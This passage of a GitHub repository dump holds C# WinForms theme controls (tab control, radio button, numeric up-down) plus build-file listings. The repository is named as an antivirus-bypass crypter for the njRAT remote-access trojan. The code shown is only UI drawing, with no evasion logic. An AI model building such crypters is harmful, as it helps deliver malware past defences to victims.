1024 | }
1025 |
1026 | using (Font CheckFont = new Font("Marlett", 12))
1027 | {
1028 | using (SolidBrush CheckBrush = new SolidBrush(Helpers.ColorFromHex("#707070")))
1029 | {
1030 | Helpers.G.DrawString("b", CheckFont, CheckBrush, new Point(-2, 1));
1031 | }
1032 | }
1033 |
1034 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#282828")))
1035 | {
1036 | Helpers.G.SmoothingMode = SmoothingMode.None;
1037 | Helpers.G.FillRectangle(Fill, OverFillRect);
1038 | }
1039 |
1040 | }
1041 |
1042 | }
1043 |
1044 | protected override void OnMouseEnter(EventArgs e)
1045 | {
1046 | State = MouseState.Over;
1047 | Invalidate();
1048 | base.OnMouseEnter(e);
1049 | }
1050 |
1051 | protected override void OnMouseLeave(EventArgs e)
1052 | {
1053 | State = MouseState.None;
1054 | Invalidate();
1055 | base.OnMouseLeave(e);
1056 | }
1057 |
1058 |
1059 | protected override void OnCheckedChanged(EventArgs e)
1060 | {
1061 | if (Checked)
1062 | {
1063 | CheckThread = new Thread(CheckAnimation) { IsBackground = true };
1064 | CheckThread.Start();
1065 | }
1066 | else
1067 | {
1068 | UncheckThread = new Thread(UncheckAnimation) { IsBackground = true };
1069 | UncheckThread.Start();
1070 | }
1071 |
1072 | if (!Block)
1073 | {
1074 | base.OnCheckedChanged(e);
1075 | }
1076 |
1077 | }
1078 |
1079 | }
1080 |
1081 | public class BoosterTabControl : TabControl
1082 | {
1083 |
1084 | private Rectangle MainRect;
1085 |
1086 | private Rectangle OverRect;
1087 |
1088 | private int SubOverIndex = -1;
1089 | private bool Hovering
1090 | {
1091 | get { return !(OverIndex == -1); }
1092 | }
1093 |
1094 | private int OverIndex
1095 | {
1096 | get { return SubOverIndex; }
1097 | set
1098 | {
1099 | SubOverIndex = value;
1100 | if (!(SubOverIndex == -1))
1101 | {
1102 | OverRect = GetTabRect(OverIndex);
1103 | }
1104 | Invalidate();
1105 | }
1106 | }
1107 |
1108 | public BoosterTabControl()
1109 | {
1110 | DoubleBuffered = true;
1111 | Font = new Font("Segoe UI", 10);
1112 | ForeColor = Helpers.ColorFromHex("#78797B");
1113 | ItemSize = new Size(40, 170);
1114 | SizeMode = TabSizeMode.Fixed;
1115 | Alignment = TabAlignment.Left;
1116 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true);
1117 | }
1118 |
1119 | protected override void CreateHandle()
1120 | {
1121 | foreach (TabPage Tab in TabPages)
1122 | {
1123 | Tab.BackColor = Helpers.ColorFromHex("#424242");
1124 | Tab.ForeColor = Helpers.ColorFromHex("#B6B6B6");
1125 | Tab.Font = new Font("Segoe UI", 9);
1126 | }
1127 | base.CreateHandle();
1128 | }
1129 |
1130 |
1131 | protected override void OnPaint(PaintEventArgs e)
1132 | {
1133 | Helpers.G = e.Graphics;
1134 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
1135 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
1136 |
1137 | Helpers.G.Clear(Helpers.ColorFromHex("#333333"));
1138 |
1139 | using (Pen Border = new Pen(Helpers.ColorFromHex("#292929")))
1140 | {
1141 | Helpers.G.SmoothingMode = SmoothingMode.None;
1142 | Helpers.G.DrawLine(Border, ItemSize.Height + 3, 4, ItemSize.Height + 3, Height - 5);
1143 | }
1144 |
1145 |
1146 | for (int I = 0; I <= TabPages.Count - 1; I++)
1147 | {
1148 | MainRect = GetTabRect(I);
1149 |
1150 |
1151 | if (SelectedIndex == I)
1152 | {
1153 | using (SolidBrush Selection = new SolidBrush(Helpers.ColorFromHex("#424242")))
1154 | {
1155 | Helpers.G.FillRectangle(Selection, new Rectangle(MainRect.X - 6, MainRect.Y + 2, MainRect.Width + 8, MainRect.Height - 1));
1156 | }
1157 |
1158 | using (SolidBrush SelectionLeft = new SolidBrush(Helpers.ColorFromHex("#F63333")))
1159 | {
1160 | Helpers.G.FillRectangle(SelectionLeft, new Rectangle(MainRect.X - 2, MainRect.Y + 2, 3, MainRect.Height - 1));
1161 | }
1162 |
1163 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5")))
1164 | {
1165 | using (Font TextFont = new Font("Segoe UI", 10))
1166 | {
1167 | Helpers.G.DrawString(TabPages[I].Text, TextFont, TextBrush, new Point(MainRect.X + 25, MainRect.Y + 11));
1168 | }
1169 | }
1170 |
1171 |
1172 | }
1173 | else
1174 | {
1175 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#C0C0C0")))
1176 | {
1177 | using (Font TextFont = new Font("Segoe UI", 10))
1178 | {
1179 | Helpers.G.DrawString(TabPages[I].Text, TextFont, TextBrush, new Point(MainRect.X + 25, MainRect.Y + 11));
1180 | }
1181 | }
1182 |
1183 | }
1184 |
1185 |
1186 | if (Hovering)
1187 | {
1188 | using (SolidBrush Selection = new SolidBrush(Helpers.ColorFromHex("#383838")))
1189 | {
1190 | Helpers.G.FillRectangle(Selection, new Rectangle(OverRect.X - 6, OverRect.Y + 2, OverRect.Width + 8, OverRect.Height - 1));
1191 | }
1192 |
1193 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#C0C0C0")))
1194 | {
1195 | using (Font TextFont = new Font("Segoe UI", 10))
1196 | {
1197 | Helpers.G.DrawString(TabPages[OverIndex].Text, TextFont, TextBrush, new Point(OverRect.X + 25, OverRect.Y + 11));
1198 | }
1199 | }
1200 |
1201 | }
1202 |
1203 | }
1204 |
1205 | base.OnPaint(e);
1206 |
1207 | }
1208 |
1209 | protected override void OnMouseMove(MouseEventArgs e)
1210 | {
1211 | for (int I = 0; I <= TabPages.Count - 1; I++)
1212 | {
1213 | if (GetTabRect(I).Contains(e.Location) & !(SelectedIndex == I))
1214 | {
1215 | OverIndex = I;
1216 | break; // TODO: might not be correct. Was : Exit For
1217 | }
1218 | else
1219 | {
1220 | OverIndex = -1;
1221 | }
1222 | }
1223 | base.OnMouseMove(e);
1224 | }
1225 |
1226 | protected override void OnMouseLeave(EventArgs e)
1227 | {
1228 | OverIndex = -1;
1229 | base.OnMouseLeave(e);
1230 | }
1231 |
1232 | }
1233 |
1234 | public class BoosterRadioButton : RadioButton
1235 | {
1236 |
1237 |
1238 | private MouseState State;
1239 | private Thread CheckThread;
1240 | private Thread UncheckThread;
1241 |
1242 | private Rectangle EllipseRect = new Rectangle(5, 5, 6, 6);
1243 | public BoosterRadioButton()
1244 | {
1245 | DoubleBuffered = true;
1246 | Font = new Font("Segoe UI", 9);
1247 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true);
1248 | }
1249 |
1250 |
1251 | private void CheckAnimation()
1252 | {
1253 | int X = 1;
1254 | int Y = 1;
1255 | int EllipseW = 14;
1256 | int EllipseH = 14;
1257 |
1258 |
1259 | while (!(EllipseH == 8))
1260 | {
1261 | if (X < 4)
1262 | {
1263 | X += 1;
1264 | Y += 1;
1265 | }
1266 |
1267 | EllipseW -= 1;
1268 | EllipseH -= 1;
1269 | EllipseRect = new Rectangle(X, Y, EllipseW, EllipseH);
1270 | Invalidate();
1271 | Thread.Sleep(30);
1272 | }
1273 |
1274 | }
1275 |
1276 |
1277 | protected override void OnPaint(PaintEventArgs e)
1278 | {
1279 | Helpers.G = e.Graphics;
1280 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
1281 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
1282 |
1283 | base.OnPaint(e);
1284 |
1285 | Helpers.G.Clear(Parent.BackColor);
1286 |
1287 |
1288 | if (Enabled)
1289 | {
1290 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#242424")))
1291 | {
1292 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C")))
1293 | {
1294 | Helpers.G.FillEllipse(Fill, new Rectangle(0, 0, 16, 16));
1295 | Helpers.G.DrawEllipse(Border, new Rectangle(0, 0, 16, 16));
1296 | }
1297 | }
1298 |
1299 | switch (State)
1300 | {
1301 |
1302 | case MouseState.None:
1303 |
1304 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6")))
1305 | {
1306 | using (Font TextFont = new Font("Segoe UI", 9))
1307 | {
1308 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1));
1309 | }
1310 | }
1311 |
1312 |
1313 | break;
1314 | case MouseState.Over:
1315 |
1316 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5")))
1317 | {
1318 | using (Font TextFont = new Font("Segoe UI", 9))
1319 | {
1320 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1));
1321 | }
1322 | }
1323 |
1324 |
1325 | break;
1326 | }
1327 |
1328 |
1329 | if (Checked)
1330 | {
1331 | using (SolidBrush CheckBrush = new SolidBrush(Helpers.ColorFromHex("#909090")))
1332 | {
1333 | Helpers.G.FillEllipse(CheckBrush, EllipseRect);
1334 | }
1335 |
1336 | }
1337 |
1338 |
1339 | }
1340 | else
1341 | {
1342 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828")))
1343 | {
1344 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848")))
1345 | {
1346 | Helpers.G.FillEllipse(Fill, new Rectangle(0, 0, 16, 16));
1347 | Helpers.G.DrawEllipse(Border, new Rectangle(0, 0, 16, 16));
1348 | }
1349 | }
1350 |
1351 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181")))
1352 | {
1353 | using (Font TextFont = new Font("Segoe UI", 9))
1354 | {
1355 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1));
1356 | }
1357 | }
1358 |
1359 |
1360 | if (Checked)
1361 | {
1362 | using (SolidBrush CheckBrush = new SolidBrush(Helpers.ColorFromHex("#707070")))
1363 | {
1364 | Helpers.G.FillEllipse(CheckBrush, EllipseRect);
1365 | }
1366 |
1367 | }
1368 |
1369 | }
1370 |
1371 | }
1372 |
1373 | protected override void OnMouseEnter(EventArgs e)
1374 | {
1375 | State = MouseState.Over;
1376 | Invalidate();
1377 | base.OnMouseEnter(e);
1378 | }
1379 |
1380 | protected override void OnMouseLeave(EventArgs e)
1381 | {
1382 | State = MouseState.None;
1383 | Invalidate();
1384 | base.OnMouseLeave(e);
1385 | }
1386 |
1387 |
1388 | protected override void OnCheckedChanged(EventArgs e)
1389 | {
1390 | if (Checked)
1391 | {
1392 | CheckThread = new Thread(CheckAnimation) { IsBackground = true };
1393 | CheckThread.Start();
1394 | }
1395 |
1396 | base.OnCheckedChanged(e);
1397 | }
1398 |
1399 | }
1400 |
1401 | public class BoosterNumericUpDown : NumericUpDown
1402 | {
1403 |
1404 | private MouseState State;
1405 | public string AfterValue { get; set; }
1406 |
1407 | private Thread ValueChangedThread;
1408 | private Point TextPoint = new Point(2, 2);
1409 |
1410 | private Font TextFont = new Font("Segoe UI", 10);
1411 | public BoosterNumericUpDown()
1412 | {
1413 | DoubleBuffered = true;
1414 | Font = new Font("Segoe UI", 10);
1415 | Controls[0].Hide();
1416 | Controls[1].Hide();
1417 | ForeColor = Helpers.ColorFromHex("#B6B6B6");
1418 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true);
1419 | }
1420 |
1421 |
1422 | private void ValueChangedAnimation()
1423 | {
1424 | int TextSize = 5;
1425 |
1426 | while (!(TextSize == 10))
1427 | {
1428 | TextSize += 1;
1429 | TextFont = new Font("Segoe UI", TextSize);
1430 | Invalidate();
1431 | Thread.Sleep(30);
1432 | }
1433 |
1434 | }
1435 |
1436 |
1437 | protected override void OnPaint(PaintEventArgs e)
1438 | {
1439 | Helpers.G = e.Graphics;
1440 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality;
1441 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
1442 |
1443 | Helpers.G.Clear(Parent.BackColor);
1444 |
1445 | base.OnPaint(e);
1446 |
1447 |
1448 | if (Enabled)
1449 | {
1450 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#242424")))
1451 | {
1452 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1));
1453 | }
1454 |
1455 | switch (State)
1456 | {
1457 |
1458 | case MouseState.None:
1459 |
1460 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C")))
1461 | {
1462 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
1463 | }
1464 |
1465 |
1466 | break;
1467 | case MouseState.Over:
1468 |
1469 | using (Pen Border = new Pen(Helpers.ColorFromHex("#C8C8C8")))
1470 | {
1471 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
1472 | }
1473 |
1474 |
1475 | break;
1476 | }
1477 |
1478 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#B6B6B6")))
1479 | {
1480 | Helpers.G.DrawString(Value + AfterValue, TextFont, TextBrush, TextPoint);
1481 | }
1482 |
1483 | using (Font ArrowFont = new Font("Marlett", 10))
1484 | {
1485 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#909090")))
1486 | {
1487 | Helpers.G.DrawString("5", ArrowFont, ArrowBrush, new Point(Width - 18, 2));
1488 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 18, 10));
1489 | }
1490 | }
1491 |
1492 |
1493 | }
1494 | else
1495 | {
1496 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828")))
1497 | {
1498 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848")))
1499 | {
1500 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1));
1501 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1));
1502 | }
1503 | }
1504 |
1505 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#818181")))
1506 | {
1507 | Helpers.G.DrawString(Value + AfterValue, TextFont, TextBrush, TextPoint);
1508 | }
1509 |
1510 | using (Font ArrowFont = new Font("Marlett", 10))
1511 | {
1512 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#707070")))
1513 | {
1514 | Helpers.G.DrawString("5", ArrowFont, ArrowBrush, new Point(Width - 18, 2));
1515 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 18, 10));
1516 | }
1517 | }
1518 |
1519 | }
1520 |
1521 | }
1522 |
1523 |
1524 | protected override void OnMouseUp(MouseEventArgs e)
1525 | {
1526 |
1527 | if (e.X > Width - 16 && e.Y < 11)
1528 | {
1529 | if (!(Value + Increment > Maximum))
1530 | {
1531 | Value += Increment;
1532 | }
1533 | else
1534 | {
1535 | Value = Maximum;
1536 | }
1537 |
1538 | }
1539 | else if (e.X > Width - 16 && e.Y > 13)
1540 | {
1541 | if (!(Value - Increment < Minimum))
1542 | {
1543 | Value -= Increment;
1544 | }
1545 | else
1546 | {
1547 | Value = Minimum;
1548 | }
1549 | }
1550 |
1551 | Invalidate();
1552 |
1553 | base.OnMouseUp(e);
1554 | }
1555 |
1556 | protected override void OnMouseEnter(EventArgs e)
1557 | {
1558 | State = MouseState.Over;
1559 | Invalidate();
1560 | base.OnMouseEnter(e);
1561 | }
1562 |
1563 | protected override void OnMouseLeave(EventArgs e)
1564 | {
1565 | State = MouseState.None;
1566 | Invalidate();
1567 | base.OnMouseLeave(e);
1568 | }
1569 |
1570 | protected override void OnValueChanged(EventArgs e)
1571 | {
1572 | ValueChangedThread = new Thread(ValueChangedAnimation) { IsBackground = true };
1573 | ValueChangedThread.Start();
1574 | base.OnValueChanged(e);
1575 | }
1576 |
1577 | }
1578 |
1579 | //=======================================================
1580 | //Service provided by Telerik (www.telerik.com)
1581 | //Conversion powered by NRefactory.
1582 | //Twitter: @telerik
1583 | //Facebook: facebook.com/telerik
1584 | //=======================================================
1585 |
--------------------------------------------------------------------------------
/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/obj/Debug/Njrat Crypter.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\bin\Debug\Njrat Crypter.exe.config
2 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\bin\Debug\Njrat Crypter.exe
3 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\bin\Debug\Njrat Crypter.pdb
4 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat_Crypter.Properties.Resources.resources
5 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.csproj.GenerateResource.Cache
6 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.exe
7 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.pdb
8 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat_Crypter.cryptNj.resources
9 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.csprojResolveAssemblyReference.cache
10 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Njrat Crypter.exe.config
11 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.exe
12 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.pdb
13 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Njrat Crypter.exe
14 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Njrat Crypter.pdb
15 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.csprojResolveAssemblyReference.cache
16 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat_Crypter.cryptNj.resources
17 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat_Crypter.Properties.Resources.resources
18 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.csproj.GenerateResource.Cache
19 |
--------------------------------------------------------------------------------
/obj/Debug/Njrat Crypter.csproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat Crypter.csproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/obj/Debug/Njrat Crypter.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat Crypter.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/obj/Debug/Njrat Crypter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat Crypter.pdb
--------------------------------------------------------------------------------
/obj/Debug/Njrat_Crypter.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat_Crypter.Properties.Resources.resources
--------------------------------------------------------------------------------
/obj/Debug/Server Crypter.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Server Crypter.exe.config
2 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server_Crypter.Properties.Resources.resources
3 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server Crypter.csproj.GenerateResource.Cache
4 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Server Crypter.exe
5 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Server Crypter.pdb
6 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server_Crypter.cryptNj.resources
7 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server Crypter.exe
8 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server Crypter.pdb
9 | G:\[PROJET C#]\Crypter example Runtime bypass\Server Crypter\bin\Debug\Server Crypter.exe.config
10 | G:\[PROJET C#]\Crypter example Runtime bypass\Server Crypter\obj\Debug\Server Crypter.exe
11 | G:\[PROJET C#]\Crypter example Runtime bypass\Server Crypter\obj\Debug\Server Crypter.pdb
12 |
--------------------------------------------------------------------------------
/obj/Debug/Server Crypter.csproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server Crypter.csproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/obj/Debug/Server Crypter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server Crypter.pdb
--------------------------------------------------------------------------------
/obj/Debug/Server_Crypter.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server_Crypter.Properties.Resources.resources
--------------------------------------------------------------------------------
/obj/Debug/Server_Crypter.cryptNj.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server_Crypter.cryptNj.resources
--------------------------------------------------------------------------------
/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------